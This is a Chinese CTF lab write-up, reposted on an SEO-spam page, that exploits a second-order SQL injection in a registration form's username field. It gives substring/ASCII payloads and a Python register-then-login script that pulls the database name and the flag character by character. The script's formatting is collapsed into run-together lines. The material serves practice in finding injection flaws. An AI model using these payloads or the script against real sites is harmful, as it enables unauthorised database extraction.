当前位置: 首页 > news >正文

建站需要钱网站建设阿华seo

建站需要钱,网站建设阿华seo,国内炫酷的网站首页,wordpress内网访问不了使用ctf在线靶场https://adworld.xctf.org.cn/home/index。 进入靶场,发现是一个登录页面。 使用awvs进行扫描,发现存在login.php和register.php,并且register.php存在sql注入漏洞。 访问一下register.php试试,发现是一个注册页面…

使用ctf在线靶场https://adworld.xctf.org.cn/home/index。

进入靶场,发现是一个登录页面。

在这里插入图片描述

使用awvs进行扫描,发现存在login.php和register.php,并且register.php存在sql注入漏洞。

在这里插入图片描述

访问一下register.php试试,发现是一个注册页面。

在这里插入图片描述

在邮箱、用户名、密码分别尝试sql注入。

发现邮箱后面不允许添加符号’等,密码添加’等会被当做字符传入,而在用户名的地方输入’,注册失败,怀疑是在用户名处存在sql注入。

随便注册一个试试。

在这里插入图片描述

登陆进去发现,在页面中存在用户名的显示。

在用户名处输入

dhh ' and '1'='1

注册成功,登陆查看用户名为0。基本确定为二次注入,注入点为用户名处。

在这里插入图片描述

使用burp判断被过滤的字符。初步爆破发现单引号、逗号、information被过滤。那就开始尝试

注册时,让用户名为select database(),尝试一下。

登陆后发现,用户名直接显示为select database()。那么猜测应该是被单引号或者双引号包裹起来,作为字符串了,尝试两种闭合。

在这里插入图片描述

使用1’+2+'1可以注册成功,那就证明单引号没被过滤掉,而且可以看出来后台接收语句应该是select…where username=‘username’。

开始尝试构建payload。

0'+database()+'0     #结果为0

在这里插入图片描述

尝试使用ascii进行转换为10进制尝试,下面是转换database()的第一个字符。

0'+ascii(substr((database()) from 1 for 1))+'0

在这里插入图片描述

查看ascii表,发现119为w,也就是当前数据库第一个字母为w。那证明目前的思路是正确的。

写python脚本进行爆破。

import requests
from bs4 import BeautifulSoupdef jieguo():name = ''url = 'http://61.147.171.105:58807/'url1 = url + 'register.php'url2 = url + 'login.php'for i in range(1, 100):data_register = {"email": f"dhh{i}@163.com","username": f"0'+ascii(substr((database()) from {i} for 1))+'0;","password": "123"}data_login = {"email": f"dhh{i}@163.com","password": "123"}response_regiseter = requests.post(url1, data=data_register)response_login = requests.post(url2, data=data_login)bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性number = username.text  # 取该属性的数字name += chr(int(number))print(name)if __name__ == '__main__':jieguo()

在这里插入图片描述

额…不知道为什么爆破完库名之后还在输出。

目前为止二次注入的目的完成。

因为我们的目的不是为了拿到flag,所以我就上网查询了一下如何拿flag,并且写成payload

0'+ascii(substr((select * from flag) from 1 for 1))+'0
import requests
from bs4 import BeautifulSoupdef jieguo():name = ''url = 'http://61.147.171.105:58807/'url1 = url + 'register.php'url2 = url + 'login.php'for i in range(1, 100):data_register = {"email": f"dh{i}@163.com","username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;","password": "1"}data_login = {"email": f"dh{i}@163.com", "password": "1"}response_regiseter = requests.post(url1, data=data_register)response_login = requests.post(url2, data=data_login)bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性number = username.text  # 取该属性的数字name += chr(int(number))print(name)if __name__ == '__main__':jieguo()

在这里插入图片描述

http://www.yayakq.cn/news/59818/

相关文章:

  • 国外的做外包项目的网站滁州医院网站建设费用
  • docker可以做网站吗佛山外贸网站建设精英
  • 聊城网站建设推广建设网站的那个公司好
  • 网站开发费用怎么入账seo搜索引擎优化内容
  • 建设网站企业优购物官方网站女鞋
  • 丰台青岛网站建设天津招标信息网
  • 做百度网站需要多少钱网页设计实训总结50字
  • asp.net网站很快吗网站建站的尺寸
  • wordpress伪静态404深圳宝安seo
  • 乡村旅游网站的建设分析专业团队口号
  • 酷站网素材四川成都住建局官网
  • 1.0钓鱼网站开发--站点说明黄页引流推广网站入口
  • 网站规划说明书范文怎么建设影视卡网站
  • 网站开发的必要性wordpress js版
  • 房产资讯什么网站做的好外贸流程优化
  • 手机电脑同步网站开发文字网站居中
  • 设计师经常上的网站网站欺骗消费者怎么做
  • 宁国做网站的公司广州网站建设公司推荐
  • 网站 服务器选择广告设计创意图片
  • 音乐相册制作网站wordpress模版修改
  • 谷歌英文网站推广wordpress79元主题
  • 淘宝买网站开发不行吗开个微网站需要什么
  • 音乐主题wordpress高端的网站优化公司
  • ftp 网站百度网站收录查询
  • 专业的河南网站建设价格企业网站手机端开发
  • 英文域名在哪个网站查询今天最新新闻摘抄
  • 煎蛋网站用什么做的网站的线下推广怎么做的
  • 企业网站建设有几种形式网站建设分工的通知
  • 南宁学做网站wordpress 恶意代码
  • 纪检网站建设方案网页无法访问未连接上服务器